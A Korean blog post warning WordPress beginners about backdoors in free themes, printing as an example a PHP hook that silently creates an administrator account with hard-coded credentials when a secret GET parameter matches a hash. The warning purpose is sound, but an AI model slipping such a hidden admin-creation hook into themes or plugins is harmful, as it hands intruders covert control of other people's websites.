---
title: "WordPress 테마의 백도어 코드에 관하여 - 근심을 잊는 한 장"
description: "WordPress를 막 접한 일부 초보자들은 항상 인터넷에서 무료 테마를 찾는 것을 좋아하지만, 이러한 테마에 웹사이트 권한을 쉽게 획득하여 불법적인 이익을 취할 수 있는 백도어가 숨겨져 있을 가능성이 매우 높다는 사실을 알지 못합니다."
canonical_url: "https://www.ikxin.com/ko/article/wordpress-theme-backdoor"
last_updated: "2026-09-16T09:59:27.259Z"
locale: ko
meta:
  "og:description": "WordPress를 막 접한 일부 초보자들은 항상 인터넷에서 무료 테마를 찾는 것을 좋아하지만, 이러한 테마에 웹사이트 권한을 쉽게 획득하여 불법적인 이익을 취할 수 있는 백도어가 숨겨져 있을 가능성이 매우 높다는 사실을 알지 못합니다."
  "og:image": "https://www.ikxin.com/_og/d/h_630%2Ca_~V29yZFByZXNzIO2FjOuniOydmCDrsLHrj4TslrQg7L2U65Oc7JeQIOq0gO2VmOyXrCAtIOq3vOyLrOydhCDsnorripQg7ZWcIOyepQ%2Cc_Article%2Ctitle_~V29yZFByZXNzIO2FjOuniOydmCDrsLHrj4TslrQg7L2U65Oc7JeQIOq0gO2VmOyXrA%2Cdescription_~V29yZFByZXNz66W8IOuniSDsoJHtlZwg7J2867aAIOy0iOuztOyekOuTpOydgCDtla3sg4Eg7J247YSw64S37JeQ7IScIOustOujjCDthYzrp4jrpbwg7LC-64qUIOqyg-ydhCDsoovslYTtlZjsp4Drp4wsIOydtOufrO2VnCDthYzrp4jsl5Ag7Ju57IKs7J207Yq4IOq2jO2VnOydhCDsib3qsowg7ZqN65Od7ZWY7JesIOu2iOuyleyggeyduCDsnbTsnbXsnYQg7Leo7ZWgIOyImCDsnojripQg67Cx64-E7Ja06rCAIOyIqOqyqOyguCDsnojsnYQg6rCA64ql7ISx7J20IOunpOyasCDrhpLri6TripQg7IKs7Iuk7J2EIOyVjOyngCDrqrvtlanri4jri6Qu%2CsiteName_~6re87Ius7J2EIOyeiuuKlCDtlZwg7J6l%2CsiteHost_www.ikxin.com%2Cp_Ii9rby9hcnRpY2xlL3dvcmRwcmVzcy10aGVtZS1iYWNrZG9vciI%2Cs__DDo8YGA_q6YAxxu.png"
  "og:image:alt": "WordPress 테마의 백도어 코드에 관하여 - 근심을 잊는 한 장"
  "og:image:height": "630"
  "og:image:type": image/png
  "og:image:width": "1200"
  "og:title": "WordPress 테마의 백도어 코드에 관하여"
  "twitter:image": "https://www.ikxin.com/_og/d/h_630%2Ca_~V29yZFByZXNzIO2FjOuniOydmCDrsLHrj4TslrQg7L2U65Oc7JeQIOq0gO2VmOyXrCAtIOq3vOyLrOydhCDsnorripQg7ZWcIOyepQ%2Cc_Article%2Ctitle_~V29yZFByZXNzIO2FjOuniOydmCDrsLHrj4TslrQg7L2U65Oc7JeQIOq0gO2VmOyXrA%2Cdescription_~V29yZFByZXNz66W8IOuniSDsoJHtlZwg7J2867aAIOy0iOuztOyekOuTpOydgCDtla3sg4Eg7J247YSw64S37JeQ7IScIOustOujjCDthYzrp4jrpbwg7LC-64qUIOqyg-ydhCDsoovslYTtlZjsp4Drp4wsIOydtOufrO2VnCDthYzrp4jsl5Ag7Ju57IKs7J207Yq4IOq2jO2VnOydhCDsib3qsowg7ZqN65Od7ZWY7JesIOu2iOuyleyggeyduCDsnbTsnbXsnYQg7Leo7ZWgIOyImCDsnojripQg67Cx64-E7Ja06rCAIOyIqOqyqOyguCDsnojsnYQg6rCA64ql7ISx7J20IOunpOyasCDrhpLri6TripQg7IKs7Iuk7J2EIOyVjOyngCDrqrvtlanri4jri6Qu%2CsiteName_~6re87Ius7J2EIOyeiuuKlCDtlZwg7J6l%2CsiteHost_www.ikxin.com%2Cp_Ii9rby9hcnRpY2xlL3dvcmRwcmVzcy10aGVtZS1iYWNrZG9vciI%2Cs__DDo8YGA_q6YAxxu.png"
  "twitter:image:alt": "WordPress 테마의 백도어 코드에 관하여 - 근심을 잊는 한 장"
---

> Index of every page on this site: [llms.txt](https://www.ikxin.com/llms.txt)

# **WordPress 테마의 백도어 코드에 관하여**

2017.08.05 5,094  0

WordPress를 막 접한 일부 초보자들은 항상 인터넷에서 무료 테마를 찾는 것을 좋아하지만, 이러한 테마에 웹사이트 권한을 쉽게 획득하여 불법적인 이익을 취할 수 있는 백도어가 숨겨져 있을 가능성이 매우 높다는 사실을 알지 못합니다.

따라서 여기서 초보자들에게 한 가지 당부하고자 합니다. 테마를 찾을 때는 반드시 정품을 찾아야 합니다. 무료 버전이라면, 가급적 GitHub에 오픈 소스 프로젝트가 있는 테마를 선택하세요. 이렇게 하면 어느 정도 백도어를 만날 가능성을 줄일 수 있습니다.

## 예시

아래에 흔히 볼 수 있는 백도어 코드를 소개하겠습니다.

 PHP

```
add_action('wp_head', 'my_backdoor');
function my_backdoor() {
    if (md5($_GET['backdoor']) == 'b0f455571f6ae6c30e7521e9bf00b4f2') {
        require('wp-includes/registration.php');
        if (!username_exists('mr_admin')) {
            $user_id = wp_create_user('xinyewl', 'me');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
```

PHP가 이 코드를 실행하여 요청을 처리하기만 하면, 해당 관리 페이지에 비밀번호를 사용해 로그인할 수 있으며, 정상적으로 로그인하면 관리자 권한을 획득할 수 있습니다. 즉, 심지어 셸까지 얻을 수 있다는 뜻입니다. 구체적인 내용은 더 말하지 않겠습니다. 스스로 알아보세요.

여기서 기본으로 설정한 계정과 비밀번호는 다음과 같습니다.

 Plain Text

```
계정: xinyewl 비밀번호: me
```

구체적으로 어떻게 사용하는지는 말하지 않겠습니다. 초등학생들이 악의적으로 테마에 삽입하는 것을 방지하기 위해서이기도 합니다.

그럼 이만하겠습니다. 절대로 나쁜 일에 사용하지 마세요.

![이미지](https://www.ikxin.com/_ipx/animated_true&w_1734&f_webp/https://img.8b5.cn/2019/06/25/5d11ea119621c.jpg)

## **댓글**

(0)

아직 댓글이 없습니다

## **댓글 작성**

```json
{"@context":"https://schema.org","@graph":[{"@id":"https://www.ikxin.com/ko#website","@type":"WebSite","description":"근심을 잊는 한 장은 기술 탐구와 일상을 다루는 개인 웹사이트입니다. 웹 개발, 백엔드 및 DevOps 실무를 기록하고 소프트웨어 도구와 디지털 경험, 코드 밖의 견문과 생각을 나눕니다.","inLanguage":"ko-KR","name":"근심을 잊는 한 장","url":"https://www.ikxin.com/ko","translationOfWork":{"@id":"https://www.ikxin.com/#website"}},{"@id":"https://www.ikxin.com/ko/article/wordpress-theme-backdoor#webpage","@type":"WebPage","description":"WordPress를 막 접한 일부 초보자들은 항상 인터넷에서 무료 테마를 찾는 것을 좋아하지만, 이러한 테마에 웹사이트 권한을 쉽게 획득하여 불법적인 이익을 취할 수 있는 백도어가 숨겨져 있을 가능성이 매우 높다는 사실을 알지 못합니다.","name":"WordPress 테마의 백도어 코드에 관하여","url":"https://www.ikxin.com/ko/article/wordpress-theme-backdoor","isPartOf":{"@id":"https://www.ikxin.com/ko#website"},"potentialAction":[{"@type":"ReadAction","target":["https://www.ikxin.com/ko/article/wordpress-theme-backdoor"]}]}]}
```

## Sitemap

See the full [sitemap](https://www.ikxin.com/sitemap.md) for all pages.